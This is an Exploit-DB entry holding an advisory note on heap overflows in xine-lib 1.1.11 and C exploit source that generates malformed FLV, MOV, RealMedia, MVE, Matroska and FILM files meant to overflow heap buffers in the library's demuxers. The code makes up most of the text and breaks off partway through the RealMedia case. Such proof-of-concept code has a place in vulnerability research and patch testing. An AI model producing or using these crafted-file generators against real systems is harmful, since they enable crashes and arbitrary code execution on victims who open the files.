Exploit-DB #31462
Description: Xine-Lib 1.1.11 - Multiple Heap Remote Buffer Overflow Vulnerabilities
Type: remote
Platform: linux
Date: 2008-03-20
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/28370/info

The 'xine-lib' library is prone to multiple heap-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions.

These issues affect xine-lib 1.1.11; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;
typedef int64_t     i64;
typedef uint64_t    u64;



#define VER         "0.1"
#define BUFFSZ      0xffff



#define BE_FOURCC( ch0, ch1, ch2, ch3 )             \
        ( (uint32_t)(unsigned char)(ch3) |          \
        ( (uint32_t)(unsigned char)(ch2) << 8 ) |   \
        ( (uint32_t)(unsigned char)(ch1) << 16 ) |  \
        ( (uint32_t)(unsigned char)(ch0) << 24 ) )
#define FLV_FLAG_HAS_VIDEO       0x01
#define FLV_FLAG_HAS_AUDIO       0x04
#define FLV_TAG_TYPE_SCRIPT      0x12
#define FLV_DATA_TYPE_NUMBER     0x00
#define FLV_DATA_TYPE_OBJECT     0x03
#define FLV_DATA_TYPE_ENDOBJECT  0x09
#define FLV_DATA_TYPE_ARRAY      0x0a
#define MOOV_ATOM BE_FOURCC('m', 'o', 'o', 'v')
#define RMRA_ATOM BE_FOURCC('r', 'm', 'r', 'a')
#define RDRF_ATOM BE_FOURCC('r', 'd', 'r', 'f')
#define RMF_TAG   BE_FOURCC('.', 'R', 'M', 'F')
#define PROP_TAG  BE_FOURCC('P', 'R', 'O', 'P')
#define MDPR_TAG  BE_FOURCC('M', 'D', 'P', 'R')
#define DATA_TAG  BE_FOURCC('D', 'A', 'T', 'A')
#define INDX_TAG  BE_FOURCC('I', 'N', 'D', 'X')
#define VIDO_TAG  BE_FOURCC('V', 'I', 'D', 'O')
#define DATA_CHUNK_HEADER_SIZE 10
#define FORM_TAG BE_FOURCC('F', 'O', 'R', 'M')
#define MOVE_TAG BE_FOURCC('M', 'O', 'V', 'E')
#define PC_TAG   BE_FOURCC('_', 'P', 'C', '_')
#define PALT_TAG BE_FOURCC('P', 'A', 'L', 'T')
#define PALETTE_SIZE 256
#define PALETTE_CHUNK_SIZE (PALETTE_SIZE * 3)
#define EBML_ID_EBML                0x1A45DFA3
#define EBML_ID_DOCTYPE             0x4282
#define GST_EBML_SIZE_UNKNOWN       0x00ffffffffffffffULL
#define GST_EBML_ID_VOID            0xEC
#define FILM_TAG BE_FOURCC('F', 'I', 'L', 'M')
#define STAB_TAG BE_FOURCC('S', 'T', 'A', 'B')



int gst_ebml_write_element_id(u8 *data, u32 id); // from Gstreamer
int gst_ebml_write_element_size(u8 *data, i64 size);  // from Gstreamer
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int putxb(u8 *data, u64 num, int bits);
int putxi(u8 *data, u64 num, int bits);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    int     i,
            attack;
    u8      *buff,
            *fname,
            *psize,
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "xine-lib <= 1.1.11 multiple heap overflows "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <output_file>\n"
            "\n"
            "Attacks:\n"
            " 1 = heap overflow in demux_flv (file.FLV)\n"
            " 2 = heap overflow in demux_qt (file.MOV)\n"
            " 3 = heap overflow in demux_real (file.RM)\n"
            " 4 = heap overflow in demux_wc3movie (file.MVE)\n"
            " 5 = heap overflow in ebml.c (file.MKV)\n"
            " 6 = heap overflow in demux_film.c (file.CAK)\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);
    fname = argv[2];

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    if(attack == 1) {
        p += putss(p, "FLV\x01");
        *p++ = FLV_FLAG_HAS_VIDEO | FLV_FLAG_HAS_AUDIO;
        p += putxb(p, 9,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, FLV_TAG_TYPE_SCRIPT, 8);  // tag_type
        psize = p; p += 3;
        p += putxb(p, 0,            32);        // pts
        p += putxb(p, 0,            24);
        p += putxb(p, FLV_DATA_TYPE_OBJECT, 8);
        p += putxb(p, 13,           16);
        p += putss(p, "filepositions");
        p += putxb(p, FLV_DATA_TYPE_ARRAY, 8);
        p += putxb(p, 0x20000000,   32);
        for(i = 0; i < 4000; i++) {
            p += putxb(p, FLV_DATA_TYPE_NUMBER, 8);
            p += putxb(p, 0x[PII_REDACTED]414141ULL, 64);
        }
        p += putxb(p, FLV_DATA_TYPE_ENDOBJECT, 8);  // useless
        putxb(psize, p - (psize + 3 + 4 + 3),   24);

    } else if(attack == 2) {
        p += putxb(p, 8000 - 24,    32);
        p += putxb(p, MOOV_ATOM,    32);
        p += putxb(p, 8000 - 16,    32);
        p += putxb(p, RMRA_ATOM,    32);
        p += putxb(p, 8000 - 8,     32);
        p += putxb(p, RDRF_ATOM,    32);
        p += putxb(p, 0,            32);    // i + 4
        p += putxb(p, 0,            32);    // i + 8
        p += putxb(p, 0xffffffff,   32);    // i + 12
        p += putcc(p, 'A',          8000 - 12);

    } else if(attack == 3) {
        p += putxb(p, RMF_TAG,      32);
        p += putxb(p, 8,            32);
        p += putxb(p, MDPR_TAG,     32);
        psize = p; p += 4;
        p += putxb(p, 0,            16);
        p += putxb(p, 1,            16);    // mdpr->stream_number
        p += putxb(p, 0,            32);    // mdpr->max_bit_rate
        p += putxb(p, 0,            32);    // mdpr->avg_bit_rate
        p += putxb(p, 0,            32);    // mdpr->max_packet_size
        p += putxb(p, 0,            32);    // mdpr->avg_packet_size
        p += putxb(p, 0,            32);    // mdpr->start_time
        p += putxb(p, 0,            32);    // mdpr->preroll
        p += putxb(p, 0,            32);    // mdpr->duration
        p += putxb(p, 0,            8);     // mdpr->stream_name_size